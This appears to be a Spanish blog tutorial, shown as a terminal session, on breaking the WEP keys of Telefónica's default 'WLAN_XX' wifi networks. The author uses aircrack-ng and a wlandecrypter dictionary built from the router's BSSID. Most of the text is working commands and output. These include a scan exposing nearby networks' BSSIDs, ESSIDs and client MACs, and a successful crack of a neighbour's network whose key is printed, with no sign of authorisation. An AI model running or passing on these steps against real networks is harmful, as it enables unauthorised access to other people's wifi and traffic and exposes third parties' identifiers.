ivan@suneo:~$ sudo apt-get install aircrack-ng
ivan@suneo:~$ sudo airmon-ng start wlan0
Interface Chipset Driver
wlan0 Intel 3945ABG iwl3945 - [phy0]
(monitor mode enabled on mon0)
ivan@suneo:~$ sudo airodump-ng -w packets mon0
CH 1 ][ Elapsed: 9 mins ][ 2010-08-10 15:35
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:01:38:DF:ED:AE -68 3193 6 0 6 54 . WEP WEP WLAN_B8
00:1A:4D:22:45:81 -84 486 213 0 7 54e. OPN tcc-hotspot-escuera
00:1F:3F:A3:C7:39 -90 52 0 0 6 54 WEP WEP Harry Mehlitz
00:1A:2B:5C:57:76 -87 288 4 0 11 54 WEP WEP JAZZTEL_47
00:1A:2B:01:AC:A0 -83 829 0 0 3 54 WEP WEP WLAN_E9
00:0C:F6:82:44:50 -84 507 3 0 11 54e. WPA TKIP PSK Sitecom824450
BSSID STATION PWR Rate Lost Packets Probes
(not associated) 00:13:CE:6A:1B:14 -89 0 - 1 0 138 MI_CASA,WLAN_4B,1234567891234567891234567891
(not associated) 00:1A:EF:05:17:2D -89 0 - 1 0 5 WLAN_4D
00:01:38:DF:ED:AE 00:1F:3C:E1:95:C5 0 6 - 1 0 876 WLAN_B8
00:1A:2B:5C:57:76 00:22:43:65:1E:C6 -84 0 - 1 0 5 JAZZTEL_47
00:1A:2B:5C:57:76 00:16:EA:35:DD:D4 -85 0 - 1 0 3
Como ya he comentado, los nombres WLAN_XX son los que antiguamente ponía Telefónica a las redes wifi, dejando además la configuración por defecto. Existe una relación entre el nombre de la red, el BSSID (la mac del punto de acceso) y la clave.
En lugar de tener que capturar muchos paquetes, con sólo 4 o más IV's podremos romper el cifrado puesto que vamos a utilizar un ataque por diccionario. Para generar este diccionario usaremos wlandecrypter. Lo descargamos, descomprimimos y con un simple make compilaremos el archivo .c. El uso es muy sencillo, le pasamos como parámetros la mac del punto de acceso y el nombre de la red y nos generará el diccionario con las claves.
ivan@suneo:~$ wlandecrypter 00:01:38:DF:ED:AE WLAN_B8 dic_WLANB8.txt
wlandecrypter v1.3.1 (2010/04/21)
[+] BSSID: 00:01:38:XX:XX:XX
[+] Modelo: Xavi 7768r
[+] Generando fichero de claves: dic_WLANB8.txt.kk
[+] Fichero guardado OK
[+] Generadas 65536 claves (896 KB)
[+] Proceso finalizado con exito
Como podéis ver, a partir del BSSID ha detectado qué modelo de router es y ha generado las claves necesarias. En este caso sólo son 65536 claves posibles (siempre que el dueño no haya cambiado la clave por defecto).
Como ya habíamos capturado más de 4 IV's vamos a obtener la clave WEP de la red, para ello ejecutamos aircrack-ng pasándole el BSSID, el diccionario que hemos generado y los paquetes capturados.
ivan@suneo:~$ aircrack-ng -b 00:01:38:DF:ED:AE -w dic_WLANB8.txt -K packets-01.cap
Opening packets-01.cap
Reading packets, please wait...
Aircrack-ng 1.0
[00:00:00] Tested 3873 keys (got 6 IVs)
KB depth byte(vote)
0 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
1 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
2 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
3 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
4 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
5 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
6 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
7 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
8 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
9 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
10 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
11 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
12 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
KEY FOUND! [ 58:30:30:30:31:33:38:44:46:32:30:42:38 ] (ASCII: X000138DF20B8 )
Decrypted correctly: 100%
Lo hemos conseguido, ya tenemos la clave que hemos conseguido prácticamente de manera instantánea. Ahora sed buenos con vuestros vecinos :-P
P.D: También existe una herramienta similar para generar diccionarios para las redes de Jazztel ;-)